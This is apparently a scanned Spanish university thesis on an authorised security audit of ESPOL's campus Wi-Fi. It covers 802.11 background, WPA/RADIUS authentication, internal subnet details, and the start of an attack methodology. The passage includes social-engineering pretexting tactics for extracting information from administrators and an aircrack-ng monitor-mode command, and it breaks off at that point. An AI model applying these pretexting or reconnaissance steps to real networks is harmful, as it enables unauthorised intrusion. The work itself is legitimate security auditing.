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RESUMEN

Este proyecto se enfoco en la seguridad de la red inalambrica implementada
en la ESPOL, a la cual todos los usuarios con cuentas del dominio
espol.edu.ec tienen acceso, mediante ataques controlados. Se presentaron
ademas las consecuencias que traen la falta de seguridad y algunas medidas

de prevencidén para mitigar las vulnerabilidades.

En el primer capitulo se describe con mas detalle la situacion de seguridad
en que se encuentra la red inalambrica ESPOL, el problema identificado,
motivos para la realizacibn de este proyecto, objetivos del mismo vy

restricciones para el desarrollo de la metodologia.

En el segundo capitulo se presentan conceptos generales sobre el estandar
IEEE 802.11 tales como caracteristicas de sus revisiones, interferencias que
sufren, tipos de seguridad disponibles, posibles formas de ataque, entre

otras.

En el tercer capitulo se procedié con la primera parte de la metodologia de
ataque que consistié en lograr acceder a la red interna de la ESPOL por
medio de los puntos de acceso inalambrico. Para esto se siguieron pasos

ordenados que nos llevaron hacia ese objetivo mediante recopilacion de
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informacion, identificaciéon de puntos de acceso y el uso de herramientas y

técnicas para obtener acceso no autorizado.

El cuarto capitulo detallé la segunda parte de la metodologia y consistio en
que una vez dentro la red interna se identificé los dispositivos de

administracion con herramientas de mapeo.

El quinto capitulo fue una etapa de analisis de los ataques realizados
presentados en la metodologia que describe las vulnerabilidades
encontradas. Aqui se detallaron los motivos por los que los ataques de cada

etapa tuvieron éxito.

El sexto capitulo fue concerniente a un analisis de las consecuencias de los
ataques exitosos. Se concientiza sobre los danos que pudieron haber
causado las intrusiones, y la exposicion de informacién confidencial. Ademas
se presentaron medidas de control y seguridad que buscan contrarrestar los

ataques descritos.

Finalmente el capitulo 7 muestra politicas de seguridad recomendadas y su
importancia en una implementacién de red en general. Se presentan también
herramientas de auditoria que son utilizadas tanto por hackers vy

profesionales en cuanto a seguridad inalambrica.
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INTRODUCCION

La Escuela Superior Politécnica del Litoral (ESPOL) en su Campus
Prosperina cuenta con 47 puntos de acceso inalambrico distribuidos en sus
diferentes edificios, que tienen como finalidad proveer servicio de Internet a
toda la comunidad politécnica. Este acceso a Internet se encuentra
disponible solamente para usuarios que poseen una cuenta de la ESPOL,
que ademas puede ser utilizada para acceder a otros servicios en linea que

la universidad ofrece.

Si bien es una excelente solucion que beneficia mas que todo a los
estudiantes, aun no se ha realizado un estudio formal sobre la seguridad que
presenta este sistema. Como se menciond anteriormente las credenciales
utilizadas para la verificacién del usuario en la red inalambrica son las
mismas que las utilizadas por algunos servicios informaticos que provee la
ESPOL, de manera que este sistema debe estar protegido contra el robo de
identidad ya que si esto llega a suceder puede desencadenar ataques

informaticos y robo de informacién dentro de la red de ESPOL.

En este proyecto se realizd6 un estudio de las falencias de seguridad vy

vulnerabilidades que existen a nivel de acceso y a nivel administrativo en la
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red inalambrica ESPOL ,mediante ataques informaticos controlados sin
perjuicios a la institucién, simulando procedimientos reales de un hacker con
fines maliciosos pudiera realizar. Luego de obtener los resultados de estas
pruebas se presentd un reporte detallando cada una de las falencias

encontradas en cuanto a seguridad, junto con técnicas de mitigacion.



CAPITULO 1
1. PLANTEAMIENTO DEL PROYECTO

En este capitulo se da a conocer detalles generales previos al desarrollo
de este proyecto, asi como los motivos del surgimiento del mismo, la

justificacion de su estudio y objetivos que se buscan satisfacer como su

desarrollo.



1.1.

1.2

Situacion actual de niveles de seguridad inalambrica

El campus Gustavo Galindo de la ESPOL cuenta con una red
inalambrica disponible para todos sus estudiantes y docentes. Los
puntos de acceso a esta red estan distribuidos en diferentes lugares
del campus, proporcionando asi cobertura a la mayor parte de su
extension. Esta red es administrada por el Centro de Tecnologias de

Informacion (CTI) y se la encuentra con el nombre de “ESPOL”.

En la red ESPOL para hacer uso de Internet el usuario debe
autenticarse a través de un servidor mediante un nombre de usuario
y contrasefia (credenciales) que son los mismos que pertenecen a
las cuentas de correo electronico @espol.edu.ec otorgadas a los
estudiantes al ingresar a la universidad. La credencial es verificada
por un servidor de autenticacion RADIUS que se encuentra en el
Centro de Servicios Informaticos (CSl). Luego de verificada, el

usuario esta autorizado a utilizar los servicios de red de la ESPOL.

Problemas y oportunidades

La autenticacion por medio de servidores dedicados (RADIUS)
impide el acceso a usuarios que no cuenten con credenciales para

acceder a la red. Sin embargo, la persona que ingresa las



1.3.

1.4.

credenciales no es necesariamente la propietaria de las mismas.
Esto conlleva a que un usuario malicioso pueda utilizar una cuenta

ajena con fines no éticos.

Alcance y restricciones

El analisis de esta red abarca toda su seguridad desde el momento
de ingreso por el punto de acceso hasta el control de los dispositivos
de administracion de la misma mediante pruebas de seguridad. Es
claro que para llevar a cabo estas pruebas sobre la red en cuestidon
se nos ha otorgado el debido permiso por parte del administrador de

red.

Objetivos

1.4.1. Objetivo general

Realizar un analisis por medio de ataques controlados que
permita determinar el nivel de seguridad actual de la red
inaldmbrica que tiene la ESPOL, detallando vulnerabilidades y

posibles soluciones inherentes al medio.



1.4.2. Objetivo especifico

e Realizar un Diagrama Logico de la red ESPOL.

e Realizar analisis de vulnerabilidades a elementos de red
para conocer las amenazas potenciales.

e Probar y demostrar vulnerabilidades encontradas.

e Detallar soluciones a los problemas encontrados en los
distintos ataques.

e Proporcionar una documentacion del proyecto, proponiendo
soluciones a vulnerabilidades encontradas en la red

inalambrica de la ESPOL.

1.5. Justificacion

Las redes inalambricas implementadas en la ESPOL, hasta el
momento, no han sido sujetas a un estudio y analisis formal de
riesgos y vulnerabilidades con sus respectivas medidas de seguridad
implementadas, que permita garantizar un buen nivel de seguridad.
Esto se debe a que en ocasiones los administradores descuidan esta
parte de la red por facilidad o simplemente lo dejan en un segundo
plano ya que no ven la importancia de tener un acceso inalambrico

seguro.



Por tal motivo, es probable que la informacidon presente en estas
redes inalambricas no se encuentre debidamente protegida. De igual
manera puede existir el acceso no autorizado de personas
maliciosas poniendo en riesgo las contrasefias no cifradas, los
documentos, credenciales de usuarios administrativos con su
posterior escalamiento de privilegios, las calificaciones, los correos
electronicos, los roles de pago, o los documentos de bancos, entre
otros. Toda esta informacién es altamente sensible y puede ser
usada para fines no éticos trayendo consigo malas consecuencias en
la Universidad. Lo que se busca es evitar el acceso no autorizado a
la red y proteger su integridad, para brindar confiabilidad en las
comunicaciones o en su defecto si actualmente esta sucediendo

frenar este acto peligroso y no ético.

Este analisis de seguridad estara basado en el funcionamiento del
estandar |IEEE 802.11, las tecnologias actuales, los tipos de
seguridad disponibles, el protocolo de transporte TCP, los
documentos RFC, las metodologias del Hacking ético en auditorias
de seguridad como las presentadas por la certificacion CEH, asi
como herramientas utilizadas por hackers reales como Foca,
Ettercap, Wireshark, Nmap, AngrylP, Lanmap, Netstumbler, Aircrack

Suite, Kismet, Jhon the Ripper, Nessus, entre otras. Todos estos



elementos nos ayudaran para este cometido, sin olvidar también
contenido publicado en la Web como reportes y codigos para
explotacion de vulnerabilidades encontradas en dispositivos de red
que pueden ser aprovechadas si estos no estan actualizados

debidamente.

Este proyecto busca analizar y dar soluciones al tema de seguridad
inaldambrica en las redes de la ESPOL, detallar sus debilidades
mediante ataques controlados y autorizados para las respectivas
practicas. De esta manera se puede tener una documentacién de las
falencias a nivel de seguridad y proponer soluciones para que estas

sean atendidas.



CAPITULO 2

2. REDES INALAMBRICAS, ESTANDAR IEEE 802.11

Las comunicaciones inalambricas cuentan con varias implementaciones
definidas a través del tiempo y estas son utilizadas de acuerdo a las
necesidades del medio en que operan. También definen una estructura
universal que debe ser adoptada por fabricantes de elementos de red
para que sus productos sean interoperables con todos los que utilizan el
estandar. En este capitulo se presentara la operacion basica de una red

inalambrica con el estandar IEEE 802.11.



2.1. Conceptos y generalidades

El Estandar IEEE 802.11 se refiere a un conjunto de normas y
protocolos destinados a proveer una conexion inalambrica como
alternativa a la red cableada proporcionando flexibilidad en el acceso.
Creado por el IEEE (Instituto de Ingenieros Eléctricos y Electronicos)
y el ETSI (Instituto Europeo de estandares de Telecomunicaciones),
este estandar cuenta con varias versiones desde que fue aceptado y
publicado en el afio de 1997. Cada version ha ido mejorando sus
normas significativamente para alcanzar velocidades de transmision

mas altas en funcion de las exigencias del medio actual. [1]

La publicacién original, 802.11 Legacy, alcanza velocidades de 1 a 2
Mbps, con un protocolo de prevencion de colisiones CSMA/CA;
opera en la banda ISM de 2.4 GHz y especifica el uso de infrarrojo en
capa fisica. Actualmente no hay implementaciones con este

estandar. [2]

Luego aparecio el estandar 802.11a, que opera en la banda de 5Ghz,
poco usada en el medio. Alcanza una velocidad de transmision de

54Mbps, pero necesita linea de vista puesto que su sefal se atenua



facilmente y no es compatible con los estandares 802.11b y 802.11g.

(1], [3]

El estandar 802.11b es la siguiente publicacion; utiliza la banda de
24 a 25 GHz permitiendo que la sefal no se degrade
significativamente con la presencia de obstaculos pero sea
susceptible a las interferencias. Su velocidad de transmisién maxima
es de 11Mbps y utiliza el protocolo de prevencion de colisiones

CSMA/CA. [1], [3]

La posterior publicacion, 802.11g, es compatible con el 802.11b;
operan en la misma banda de frecuencia de 2.4 a 2.5 GHz y los
mismos canales y son susceptibles a interferencias; mejora la
velocidad de transferencia a 54 Mbps. Los equipos que operaban con

el estandar 802.11b se adaptaron a 802.11q. [1], [3]

Finalmente, 802.11n permite duplicar las velocidades de
transferencia del 802.11g, pueden utilizar las bandas de frecuencia
2.4 GHz y 5 GHz. [2], [3], [36]. En la tabla | se muestra un resumen

de los estandares citados anteriormente.
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Tabla I. Cuadro comparativo de estandares 802.11. [1], [2], [3], [36]

Estandar Banda ISM V?I:I?;;?d Capa Fisica | Ano
802.11Legacy | 2.4 GHz 1-2 IR 1997
802.11a 5 GHz 54 OFDM 1999
802.11b 2.4 GHz 11 DSSS 1999
802.11g 2.4 GHz 25-54 DSSS/OFDM | 2003
802.11n 2.4/5 GHz 72 - 600 OFDM 2009

Segun el Wiki de la Universidad Técnica Federico Santa Maria en su
articulo Estado del Arte 802.11, el estandar mas utilizado en el medio
es 802.11b, debido a su maxima disponibilidad, seguido del 802.11g
[38]. La red inalambrica ESPOL cuenta con puntos de acceso
operando en el estandar 802.11g, otorgando amplia compatibilidad
con la mayoria de las tarjetas de red de computadoras personales y

portatiles.

Arquitectura basica

Las especificaciones del estandar 802.11 comprenden reglas para la
capa fisica y la capa de enlace de datos del modelo de referencia
(OSI). La capa fisica se encarga de la transmisién y recepcion de los
datos a través de cuatro (4) tipos de modulacion: FHSS (Salto de

Frecuencia de Espectro Ensanchado), DSSS (Secuencia Directa de
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Espectro Ensanchado), IR (Infrarrojos) y OFDM (Multiplexacién por

Division de Frecuencias Ortogonales). [4]

La modulacién FHSS permite 75 subcanales de 1 MHz cada uno,
que permiten definir secuencias de saltos que no se superponen
entre si. Por otro lado la modulacion DSSS permite un maximo de 3
canales de 20Mhz cada uno y genera la menor probabilidad de
interferencias. La modulacién OFDM consiste en la divisién de una
portadora de datos de alta velocidad (20 MHz) en varias

subportadoras de baja velocidad (300MHz) [4], [5].

Topologia de red

Se puede definir dos (2) topologias de red en el estandar 802.11 que
son Conjunto Basico de Servicio (BSS) y Conjunto Extendido de

Servicio (ESS). [4].

2.3.1 Conjunto Basico de Servicio (BSS)

El Conjunto Basico de Servicio cuenta con dos modos de

operacion que son Conjunto Basico de Servicio Independiente
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(IBSS) también llamado Ad-hoc e Infraestructura de Conjunto

Basico de Servicios. [4]

Conjunto Basico de Servicios Independiente (IBSS) es el

modo de operacion Ad-hoc, consiste en la comunicacion de
dos o mas estaciones entre si (Ver Figura 2.1), sin existir
coordinaciéon entre ellas. Cualquier estacion que se encuentre
dentro del area basica de servicio puede comunicarse con las
demas de manera directa. Ese tipo de topologia no es

escalable y es utilizada para operaciones sencillas. [4], [7]

Figura 2.1. Redes Independientes. [4]

La Infraestructura de Conjunto Basico de Servicios cuenta con

una entidad llamada Punto de Acceso el cual administra y
coordina la comunicacién entre las estaciones de trabajo (Ver
Figura 2.2); todos los nodos deben conectarse a este

elemento para intercambiar informacion. En nuestro estudio el
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punto de acceso ESPOL es al que los terminales se conectan

para obtener servicios de red. [4], [7]

Figura 2.2. Figura Redes de Infraestructura. [4]

2.3.2 Conjunto Extendido de Servicios (ESS)

Esa estructura es un Sistema Distribuido escalable; permite
enlazar varios BSS y proporciona conexion por celdas, es
decir, la estacion de trabajo puede movilizarse hacia otra area
de cobertura con el mismo nombre sin perder conexion a la
red. [4], [7]. La Figura 2.3 muestra una red formada por dos
BSS, el Sistema de Distribucion y la integracién con la red

cableada.
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BSS 1 Componentes 802.11

Figura 2.3. Conectando con ofras redes 802 LAN [8]

La red inalambrica ESPOL tiene varios puntos de acceso con
el mismo ESSID distribuidos en diferentes lugares del campus.
De esta manera los usuarios pueden moverse a traves del
campus sin perder la conexiéon a la red. El Sistema de
Distribucién conecta a los puntos de acceso ESPOL entre si y
provee comunicaciéon hacia la red cableada en donde se

origina la conexién a Internet.

El estandar 802.11 especifica los servicios que el Sistema
Distribuido debe brindar. Hay dos categorias de servicios:
Servicios de Estacion (SS) que son parte de la estacion de
trabajo y Servicios del Sistema de Distribucion (DSS) que los
provee el mismo Sistema de Distribucidn. Estos servicios son
manejados por la subcapa de control de acceso al medio

(MAC). [8]
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Entre los Servicios de Estacion tenemos Autenticacion,
Terminacion o  finalizacibon de la  autentificacion,
Confidencialidad de Datos, Entrega de MSDU, DFS, TPC,
Sincronizacion de Temporizador de Capa Superior para
Calidad de Servicio, Programacion de Trafico para Calidad de
Servicio, Medicién de Radio y DSE.[8] Entre los servicios del
Sistema de Distribucion tenemos el de Asociacion,
Desasociacion, Reasociacion, Distribucién, Integracion,
Programacion de Trafico para Calidad de Servicio, DSE e
Interfuncionamiento con el Sistema de Distribucion. [8] Para
este proyecto nos interesan los servicios de Autenticacion,
Terminacion o finalizacion de la autentificacion, Asociacion,

Desasociacidon y Reasociacion.

La Autenticacion es un servicio de estacion que controla el
acceso a la red, y autoriza el envio y recepcion de trama. Sin
esta autorizacion el terminal no puede asociarse al Punto de
Acceso. Como métodos de autenticacion tenemos el de
Sistema Abierto en la cual el usuario tiene acceso libremente,
la Autenticacion de Clave Compartida, (FS) y Autenticacion

Simultanea de Iguales (SAE). Generalmente los mas utilizados
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son el de Sistema Abierto y el de Clave Compartida (WEP).

[8], [9].

La asociacion permite que el terminal se registre con el Punto
de Acceso para que cuente con los recursos de red. Segun
José Roberto Vignoni en su publicacion Redes Inalambricas,
‘el sistema de distribucion puede utilizar la informacion de
estos registros para determinar que AP utilizar para alcanzar

una dada estacion movil” [9].

La desasociaciéon es una notificacion por parte del Sistema de
Distribucion. Para terminar la asociacion existente; la estacion
queda desvinculada de la red perdiendo todos los registros de

movilidad en cada AP. [9]

La reasociacion se da cuando es necesario cambiar de punto
de acceso debido a las condiciones en la sefal. Este servicio
es invocado por parte de la estacion. Segun el documento del
Estandar 802.11-2012 de la IEEE este proceso “mantiene al
Sistema de Distribucién informado del mapeo actual entre
Punto de Acceso y estacion a medida que la estacion se

mueve de un BSS a otro dentro de un ESS”. [8], [9]



17

2.4. Interferencia y atenuacién

La sefal proveniente de los puntos de acceso se ve perjudicada
cuando se encuentra con ondas electromagnéticas de otras
tecnologias operando en el mismo espectro de frecuencia como
Bluetooth, teléfonos inaldmbricos, hornos microondas. Ese factor
externo es conocido como interferencia e influye negativamente al

rendimiento. [10]

La modulacion DSSS, cuenta con 14 canales de 22 MHz disponible,
de los cuales solo 3 canales no se solapan entre si. La tabla Il
muestra los canales disponibles con su respectiva frecuencia
asociada. Los canales que no se superponen son el 1, 6 y 11 (Ver
Figura 2.4), es decir, tres redes pueden operar en estos canales sin

interferir entre ellas. [11]
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Tabla Il. Canales de frecuencia DSSS PHY [8]

ID Canal Frecuencia
(MHz)
2412
2417
2422
2427
2432
2437
2442
2447
2452
2457
2462
2467
2472
2484

~lolnlalalo|o|No|oswin| =

A medida que la senal de radio viaja por el ambiente esta va
perdiendo su potencia debido a factores ambientales y obstaculos

que atenuan la senal. [12]

1 2 3 4 5 L] 7 8 9 10 n 12 13 14 canal
2412 2417 2.422 2427 2432 2.437 2.442 2.447 2452 2.457 2.462 2.467 2472 2.484 Frecuencia Centfral

22 MHz

Figura 2.4. Canales sin solapamiento [11]
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Existen varias implementaciones de puntos de acceso en los
alrededores de la ESPOL, algunos formales y otros creados por
usuarios sin ningun tipo de control por parte de administradores de
red. Estas sefales no autorizadas interfieren con la sefial de la red

ESPOL y entorpecen la conexiéon de usuarios.

Ventajas y desventajas

La mayor ventaja que tiene la implementacion de una red inalambrica
en el caso de ESPOL, es que los estudiantes y docentes pueden
tener acceso a Internet desde cualquier parte del campus sin
necesidad de acudir a los laboratorios de computacién, cuyos

horarios pueden no ajustarse a los requerimientos de los usuarios.

Los usuarios deben escribir su nombre de usuario de correo
electrénico y su contrasefia como método de autenticacion para
contar con el servicio de Internet. Estas credenciales viajan por un

medio inalambrico siendo susceptibles a intercepciones.

Seguridad inalambrica

Con el fin de proteger la informacion que viaja a través de ondas

electromagnéticas se han adoptado varios métodos de seguridad
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Redes abiertas

Una red abierta es el tipo de red mas inseguro; la red esta al
alcance de cualquier usuario ya que al conectarse al punto de
acceso no pasa por el proceso de autenticacion vy
automaticamente cuenta con todos los servicios de red y por
otro lado, los usuarios que se conectan a redes abiertas
podrian ser victimas de una red falsa creada maliciosamente
para asi captar contrasefas y cometer fraudes informaticos.
Las redes abiertas cuentan con Filtrado de direcciones MAC,
filtrado de direcciones IP y Ocultacion del ESSID de la Red,
por este tipo de seguridad se pueden romper faciimente con

programas espias. [13]

Cifrado WEP

La seguridad WEP (Privacidad Equivalente a la Cableada) fue
el primer método de cifrado para el estandar IEEE 802.11.
Panda Software S.L. en su articulo “Seguridad en redes
Inalambricas” asegura que “la seguridad ofrecida por WEP
tiene como pilar central una clave secreta compartida por

todos los comunicadores y que se emplea para cifrar los datos
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enviados”. Esta clave estatica puede ser de 40 o 104 bits que
se combinan con un Vector de inicializacién (VI) de 24 bits, por

lo que la clave WEP es de 64 o 128 bits. [13], [14]

No es un protocolo seguro ya que se basa en el algoritmo de
cirado RC4 que presenta vulnerabilidades en su
implementacion y la clave compartida se puede averiguar
analizando una cantidad suficiente de paquetes capturados

que contengan el mismo VI. [13], [14]

2.6.3. Cifrado WPA, WPA2

WPA (Acceso Protegido para Wi-Fi) fue creado para corregir
las deficiencias del cifrado WEP. De acuerdo a Jhonatan
Revelo y Edison Pazmifio en su Analisis de WPA/WPA2 Vs
WEP, “en 2003 se propone el WPA vy luego queda certificado
como parte del estandar IEEE 802.11i con el nombre de
WPA2 (en 2004)” [17]. La principal diferencia entre WPA vy

WPAZ2 es el método de cifrado que estas utilizan. [16], [19]

En WPA hay dos formas de asegurar la autenticacion al

acceso a la red inalambrica: Una es por clave compartida
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dinamica (WPA-PSK o WPA2-Personal) que puede utilizar una
codificacion TKIP/MIC para WPA o AES para WPAZ2 y otra por
medio de un servidor de distribucion de claves |IEEE 802.1X
(WPA2-Corporativo). [17]. En comparacién con WEP, Joel
Barrios Duefias en su articulo ;Que es WPA? ;Por qué
deberia usarlo en lugar de WEP?, indica que “WPA hace mas
dificil vulnerar las redes inaldmbricas al incrementar los
tamafos de las claves y Vectores de Inicializacion” [18].
Actualmente algunos Puntos de Acceso soportan AES como
método de cifrado para WPA, y TKIP para WPA2. [21]. En la
tabla Ill se muestra en resumen el tipo de autenticacion y

cifrado que utiliza WPA.

Tabla Il Diferentes modos de WPA y WPA2 [17]

Modo WPA WPA2
Autentificacion: Autentificacion:
Corporativo 802.1x/EAP 802.1x/EAP

Cifrado: TKIP / MIC Cifrado: AES -CCMP
Autentificacion: PSK Autentificacion: PSK
Cifrado: TKIP / MIC Cifrado: AES -CCMP

Personal

Cuando usamos un servidor de distribucion de claves para el
modo Corporativo, WPA puede usar Protocolos Extensibles de
Autenticacion (EAP). Entre ellos tenemos EAP-TLS, EAP-
TTLS/MSCHAPv2, PEAPVO/EAP-MSCHAPvV2, PEAPV1/EAP-

GTC, EAP-SIM, EAP-LEAP. Este servidor de autenticacion del



23

modo Corporativo utiliza RADIUS (Servidor de Autenticacion
Remota Telefénica de Usuario). Cuando se invoca al servidor
RADIUS al momento de la autenticacion, éste “comprueba la
informacion utilizando esquemas de autenticacion como PAP,
CHAP o EAP”; si la autenticacién es correcta el servidor
asignara recursos de red como direccion IP, L2TP, entre otros.

[18], [20]

Segun el Centro de Tecnologias de la Informacién, la red
ESPOL cuenta con un sistema de autenticacion WPA que usa
un servidor RADIUS para autenticar a sus usuarios y

enlazarlos en la red.

2.6.4. Seguridad WPS

La Configuracion Wi-Fi Protegida es un estandar promovido
por Wi-Fi Alliance (http://www.wi-fi.org) para facilitar los
mecanismos de configuracion de una red. Este estandar
provee un mecanismo rapido y facil de registro del cliente con

el Punto de Acceso. [23]
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Existen dos métodos para utilizar WPS. El primero por medio
del numero de PIN del punto de acceso ubicado en su
etiqueta, y el segundo mediante un botdn que debe ser
presionado tanto en el dispositivo del usuario como en el punto
de acceso para lograr la conexién (conocido como el método
PBC). Luego de la conexion inicial el dispositivo se conectara

automaticamente. [22]

Simbologia y busqueda de redes

Es posible identificar los Puntos de Acceso y colocarlos en un
mapa para el uso de otras personas; esta deteccion de redes
en un lugar geografico se lo conoce como Wardriving (Vea un

ejemplo de Wardriving en Anexo A) [24], [25]

Una practica similar es el Warchalking que tiene como
finalidad encontrar puntos de acceso y luego mostrar una serie
de simbolos que indican la presencia de esos puntos de
acceso, el tipo de seguridad que tiene y el nombre del ESSID,
de manera visible para las personas como se muestra en la

figura 2.5. [24], [25]
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NODO ABIERTO| NODO WEP |NODO CERRADO

ssid ssid ssid

X|®|O

ANCHO DE BANDA ANCHO DE BANDA

Figura 2.5 Simbologia utilizada en Warchalking [39]

2.7. Tecnologias actuales

La red inalambrica de ESPOL esta basada en la topologia Conjunto
Extendido de Servicio (ESS), que consiste en varios puntos de
acceso ubicados en diferentes lugares geograficos enlazados entre
si por medio del Sistema de Distribucion que en este caso es la red
cableada. De esta manera los usuarios que se conectan pueden
pasar de un area cubierta por un punto de acceso a otra area de otro

punto de acceso sin perder la conectividad.

El tipo de seguridad que implementa es WPA con el protocolo EAP
que permite manejar la autenticacion por medio de un servidor
RADIUS. Este tipo de autenticacion tiene un alto nivel de seguridad
ya que proviene de mecanismos de autenticacién como si fuera una

red cableada.
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2.8. Tipos de ataque

2.9.

Existen varios tipos de ataques que se pueden suscitar a una red
inalambrica. Los ataques activos llegan a producir cambios de la
informacion y de situacion de los recursos del sistema. Cuando una
entidad pretende ser percibida como otra se conoce como

enmascaramiento.

En algunos de los casos se produce la captura pasiva de datos y su
retransmision [31]. La modificacibn de mensajes podemos
encontrarlo cuando una parte del mensaje se modifica a la espera de
un resultado netamente diferente. Los ataques pasivos tienen un uso
limitado de recursos que nos permitan acceder a la informacién

almacenada o procesada en ese momento por el sistema.

La denegaciéon de servicios tiene como fin impedir que el servicio

siga ejecutando o a su vez este no tenga actividad.

Consecuencias de un bajo nivel de seguridad

La mala implementacion de seguridad produce un impacto que

puede ser leve o grave. Es necesario contar con un nivel de
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seguridad que se ajuste a las necesidades de la organizacion sin
dejar brechas que puedan ser aprovechadas por intrusos. Una red no
asegurada debidamente es propensa al robo de informacion privada
de los usuarios, robo de informaciéon propia de una organizacion,
indisponibilidad del servicio informatico, violacion de la integridad de

los equipos dentro de la red, entre otros. [35]



CAPITULO 3

3. METODOLOGIA DE ATAQUE INALAMBRICO

Como primer paso para intentar obtener un control total de la red
inalambrica se tuvo acceso a la red ESPOL como un usuario legitimo
para contar con los servicios que proporcionan los Puntos de Acceso.
Para esto empleamos herramientas profesionales que suelen utilizar los
auditores de seguridad. Esta metodologia esta basada en la guia de

estudio para la obtencién de la Certificacién de Hacking Etico (CEH)
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3.1. Recopilacién de informacion

Por medio de la recopilacion de informacion se logré obtener datos
importantes como el tipo de seguridad de la red inalambrica, los
datos con que los usuarios se identifican, ubicacion de dispositivos,

tipo de autenticacion, administradores de red, entre otras.

3.1.1. Ingenieria social

Podemos definir a ingenieria social como un conjunto de
técnicas psicologicas y habilidades sociales utilizadas
conscientemente y en ocasiones de manera planificada para
poder captar informacion a través terceros o mediante
amistades que no saben el objetivo final de una conversacion

técnica.[43]

La ingenieria social no nos limita, podemos utilizar muchas
herramientas expresivas y orales para poder captar
informacion a través de preguntas o de una conversacion
donde esté involucrado nuestro tema objetivo. Segun Mercé

Molist en el portal de hackstory.net, “puede ser ingenieria
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social el obtener de un profesor las preguntas de un examen o

la clave de acceso de la caja fuerte un banco.” [43]

El gran objetivo de la ingenieria social es brindarnos
informacion de manera técnica a través de terceras personas,
y es ahi donde la ingenieria social tiene su llamado, para luego

dejarla a un lado y seguir con el proceso del ataque.

Uno de los ingenieros sociales mas famosos de los ultimos
tiempos es Kevin Mitnick [28]. Segun su opinion, “la ingenieria
social se basa en estos cuatro principios: (1) todos queremos
ayudar, (2) el primer movimiento es siempre de confianza
hacia el otro, (3) no nos gusta decir No, (4) a todos nos gusta

que nos alaben.”

Estos cuatro principios nos ayudan a ver de una manera
diferente como los demas piensas y como nosotros pensamos
al momento de pedir informacién sobre temas de interés para

un ataque provocado.

Esta técnica es muy usada para diferentes ramas como la

investigacion, acceso a privilegios que sean de riesgos para


http://es.wikipedia.org/wiki/Kevin_Mitnick
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los administradores, o para consultar de temas importantes

que no todos manejen.

A la mayoria de las personas se les hace delicado decir que
no cuando se pide informacion ya sea para investigacion o
para tareas dentro del ambito universitario, de esta manera
solo con el hecho de decirles que son “para investigaciones”
estan dispuestos a proporcionarnos informacion que nos
pueden dar mucha ventaja para poder realizar el objetivo que
tenemos en mano. En situaciones en las que los
administradores no quieren proporcionar informacion, se
puede nombrar a un superior en el rango diciendo que
venimos de parte de él, algunos no toman las necesarias
averiguaciones sino que al nombrarlo comienzan a decirnos

los datos que necesitamos.

Puede sonar notorio pero tener un buen don de palabra nos
puede llevar muy lejos y a su vez podremos obtener muchos
beneficios a pocos costos, el dar admiracion al alguien por la
labor que cumple o dar algun obsequio o un tipo de alago nos
ayudan a que la confianza fluctiue en la conversacion, la que a

su vez sin saber se les esta sacando informaciéon referente al
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objetivo que nos planteamos al momento de comenzar la

conversacion.

Segun la versién 6 de la guia de estudio para la obtencion de
la certificacion CEH, existen técnicas de ingenieria social
basadas en computadora tales como archivos adjuntos en
correos electrénicos, sitios web falsos y ventanas emergentes.
Estas técnicas se conocen como “Phishing” y tienen como fin
el robo de informacion haciéndose pasar por una fuente
confiable que solicita nombres de usuarios, contrasefias o
codigos de acceso. Estas técnicas se utilizan para el robo de
identidad luego de obtener credenciales legitimas [44].Segun
Cristian Borghello en su informe de Ingenieria Social asegura
que esta “continua siendo una de las metodologias de ataque
mas utilizada por creadores de malware y usuarios con fines
maliciosos debido al alto nivel de eficacia logrado engafando

al usuario.” [29].

3.1.2. Ubicacion geografica de la red inalambrica

La red ESPOL cuenta con un rango de cobertura que abarca

la mayor parte del campus politécnico ya que sus servicios se
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prestan a toda la comunidad politécnica. Sus Puntos de
Acceso se encuentran distribuidos en varios rincones
formando celdas de conexién muy amplias que permiten
propagar la sefial por casi todos los sectores. (Ver Anexo B1y

Anexo B2)

Por medio de la técnica del Wardriving logramos identificar
aquellos puntos de acceso que no tienen el nombre de ESSID
ESPOL, lo que en teoria no deberia suceder ya que eso
afecta al rendimiento de la red inalambrica. En el Anexo C1y
Anexo C2 se muestran en color morado los puntos de acceso

ESPOL y en color amarillo otros puntos de acceso diferentes.

Red a la que pertenece

La subred que provee acceso a los usuarios inalambricamente
es la 200.126.24.0 con mascara de red 255.255.252.0, que a
Su vez son proporcionadas por los puntos de acceso. Estos
puntos de acceso se encuentran administrados dentro de la
subred 192.168.50.0 con mascara de red 255.255.255.0. Los
usuarios que se conectan a esta red inalambrica ESPOL

tienen acceso a los servidores de produccion del CTI como el
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SIDWeb, CTI, CES, Senescyt, Inventio, entre otras, todas
estas en la subred 200.10.150.0 con mascara de red

255.255.255.0.

Esta red publica es administrada por el CTI, por medio del
WLC (Controlador de red inalambrica), luego se autentifica por
medio de un portal web almacenada en un servidor RADIUS

para poder asignar recursos de red.

3.1.4. Administradores de estas redes

La red de administracion inalambrica ESPOL es administrada
y monitoreada por el CTl mediante una interfaz llamada
“Controlador de Redes Inalambricas” (WLC) de Cisco, y por
otro lado gestiona su red de servidores de produccion citados

anteriormente.

El Centro de Servicios Informaticos (CSI) por su parte se
encarga de propagar la red inaldmbrica hacia todo el campus y

dotandolo de conectividad a Internet.
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3.2. Escaneo de puntos de acceso

Existen varias herramientas para identificar ondas electromagnéticas
pertenecientes a puntos de acceso que se encuentran en el medio.
Aircrack-ng es una de ellas y permite escanear el medio en busca
de puntos de acceso, inyectar trafico a un punto de acceso, y romper

contrasefas de autenticacion de puntos de acceso.

En este proyecto se utiliz6 un Sistema Operativo Linux para hacer
uso de Aircrack-ng la cual nos permiti6 conocer el nombre del
ESSID, el canal en el que operan, la potencia de la sefal, tipo de
seguridad y cifrado que presenta, cantidad de datos que recibe,
clientes conectados, etc. De esta manera pudimos obtener

informacion de los puntos de acceso.

3.2.1. Identificacion de puntos de acceso inalambrico

Se procedié a captar la senal de los accesos inalambricos que
estan en el medio. Para lograr esto se contd con una tarjeta de
red que permite capturar todo el trafico que pasa por ella sin

necesidad de asociarse a ningun punto de acceso.
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La tarjeta de red fue configurada para operar en modo Monitor
ya que de esta forma se logra escuchar todo el trafico que
pasa por ella [41]. Con la Suite de Aircrack se pudo crear una
interfaz directamente en modo monitor a partir de nuestra

tarjeta inalambrica. Esto se realiz6 con el comando:

airmon-ng start wlan0

Donde wlan0 es el nombre de la interfaz de red que el sistema
le habia asignado a nuestra tarjeta. Esto creé una interfaz

llamada monO (Ver Figura 3.1).

tesis # airmon-ng start wlan@

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name

1156 avahi-daemon

1157 avahi-daemon

